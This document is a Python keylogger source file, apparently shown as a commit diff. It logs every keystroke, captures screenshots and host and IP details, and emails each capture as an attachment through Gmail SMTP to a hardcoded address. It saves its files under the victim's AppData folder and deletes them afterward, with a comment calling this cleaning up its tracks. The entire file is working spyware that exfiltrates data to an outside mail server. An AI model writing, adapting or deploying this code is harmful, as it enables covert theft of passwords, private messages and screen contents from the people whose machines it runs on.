1+ from email .mime .multipart import MIMEMultipart
2+ from email .mime .text import MIMEText
3+ from email .mime .base import MIMEBase
4+ from email import encoders
5+ import smtplib
6+ import socket
7+ import platform
8+ import pyscreenshot as ImageGrab
9+ from pynput .keyboard import Key , Listener
10+ import time
11+ import os
12+
13+ flag = 0
14+ system_information = "system.txt"
15+ audio_information = "audio.wav"
16+ # clipboard_information = "clipboard.txt"
17+ screenshot_information = "screenshot.png"
18+ keys_information = "key_log.txt"
19+ extend = "\\ "
20+ file_path = f"{ os .path .expanduser ('~' )} \\ AppData" # "C:\\Users\\Public\\Roaming"
21+
22+ # Time Controls
23+ time_iteration = 30 # 7200 # 2 hours
24+ number_of_iterations_end = 1000000 # 5000
25+ microphone_time = 10 # 600 is 10 minutes
26+
27+ # Email Controls
28+ email_address = "[email protected] " 29+ 30+
31+ try :
32+ # Send to email
33+ def send_email (filename , attachment ):
34+ # Source code from geeksforgeeks.org
35+
36+ fromaddr = email_address
37+ toaddr = email_address
38+
39+ # instance of MIMEMultipart
40+ msg = MIMEMultipart ()
41+
42+ # storing the senders email address
43+ msg ['From' ] = fromaddr
44+
45+ # storing the receivers email address
46+ msg ['To' ] = toaddr
47+
48+ # storing the subject
49+ msg ['Subject' ] = f"{ os .path .expanduser ('~' )} "
50+
51+ # string to store the body of the mail
52+ body = f"{ os .path .expanduser ('~' )} "
53+
54+ # attach the body with the msg instance
55+ msg .attach (MIMEText (body , 'plain' ))
56+
57+ # open the file to be sent
58+ filename = filename
59+ attachment = open (attachment , "rb" )
60+
61+ # instance of MIMEBase and named as p
62+ p = MIMEBase ('application' , 'octet-stream' )
63+
64+ # To change the payload into encoded form
65+ p .set_payload ((attachment ).read ())
66+
67+ # encode into base64
68+ encoders .encode_base64 (p )
69+
70+ p .add_header ('Content-Disposition' , "attachment; filename= %s" % filename )
71+
72+ # attach the instance 'p' to instance 'msg'
73+ msg .attach (p )
74+
75+ # creates SMTP session
76+ s = smtplib .SMTP ('smtp.gmail.com' , 587 )
77+
78+ # start TLS for security
79+ s .starttls ()
80+
81+ # Authentication
82+ s .login (fromaddr , password )
83+
84+ # Converts the Multipart msg into a string
85+ text = msg .as_string ()
86+
87+ # sending the mail
88+ s .sendmail (fromaddr , toaddr , text )
89+
90+ # terminating the session
91+ s .quit ()
92+
93+
94+ # Get Computer and Network Information
95+ def computer_information ():
96+ with open (file_path + extend + system_information , "a" ) as f :
97+ hostname = socket .gethostname ()
98+ IPAddr = socket .gethostbyname (hostname )
99+
100+ f .write ("Processor: " + (platform .processor () + "\n " ))
101+ f .write ("System: " + platform .system () + " " + platform .version () + "\n " )
102+ f .write ("Machine: " + platform .machine () + "\n " )
103+ f .write ("Hostname: " + hostname + "\n " )
104+ f .write ("IP Address: " + IPAddr + "\n " )
105+
106+
107+ # Gather clipboard contents
108+ # def copy_clipboard():
109+ # with open(file_path + extend + clipboard_information, "a") as f:
110+ # try:
111+ # win32clipboard.OpenClipboard()
112+ # pasted_data = win32clipboard.GetClipboardData()
113+ # win32clipboard.CloseClipboard()
114+ #
115+ # f.write("Clipboard Data: \n" + pasted_data)
116+ #
117+ # except:
118+ # f.write("Clipboard could not be copied.")
119+
120+
121+ # Screenshot functionalities
122+ def screenshot ():
123+ im = ImageGrab .grab ()
124+ im .save (file_path + extend + screenshot_information )
125+
126+
127+ if flag == 0 :
128+ flag = 1
129+ computer_information ()
130+ send_email (system_information , file_path + extend + system_information )
131+ # copy_clipboard()
132+ # send_email(clipboard_information, file_path + extend + clipboard_information)
133+
134+ screenshot ()
135+ send_email (screenshot_information , file_path + extend + screenshot_information )
136+
137+ # Time controls for keylogger
138+ number_of_iterations = 0
139+ currentTime = time .time ()
140+ stoppingTime = time .time () + time_iteration
141+
142+ while number_of_iterations < number_of_iterations_end :
143+
144+ count = 0
145+ keys = []
146+
147+ counter = 0
148+
149+
150+ def on_press (key ):
151+ global keys , count , currentTime
152+
153+ keys .append (key )
154+ count += 1
155+ currentTime = time .time ()
156+
157+ if count >= 1 :
158+ count = 0
159+ write_file (keys )
160+ keys = []
161+
162+
163+ def write_file (keys ):
164+ with open (file_path + extend + keys_information , "a" ) as f :
165+ for key in keys :
166+ k = str (key ).replace ("'" , "" )
167+ if k .find ("space" ) > 0 :
168+ f .write ('\n ' )
169+ f .close ()
170+ elif k .find ("Key" ) == - 1 :
171+ f .write (k )
172+ f .close ()
173+
174+
175+ def on_release (key ):
176+ if key == Key .esc :
177+ return False
178+ if currentTime > stoppingTime :
179+ return False
180+
181+
182+ with Listener (on_press = on_press , on_release = on_release ) as listener :
183+ listener .join ()
184+
185+ if currentTime > stoppingTime :
186+ # Send keylogger contents to email
187+ send_email (keys_information , file_path + extend + keys_information )
188+ # Clear contens of keylogger log file.
189+ with open (file_path + extend + keys_information , "w" ) as f :
190+ f .write (" " )
191+ # Take a screenshot and send to email
192+ screenshot ()
193+ send_email (screenshot_information , file_path + extend + screenshot_information )
194+ # Gather clipboard contents and send to email
195+ # copy_clipboard()
196+ # send_email(clipboard_information, file_path + extend + clipboard_information)
197+
198+ # Increase iteration by 1
199+ number_of_iterations += 1
200+ # Update current time
201+ currentTime = time .time ()
202+ stoppingTime = time .time () + time_iteration
203+
204+ time .sleep (10 ) # Sleep two minutes before we delete all files
205+
206+ # Delete files - clean up our tracks
207+ delete_files = [system_information , audio_information , screenshot_information , keys_information ]
208+ for file in delete_files :
209+ os .remove (file_path + extend + file )
210+ except :
211+ print ("Connection Lost ........Internet Issues " )
0 commit comments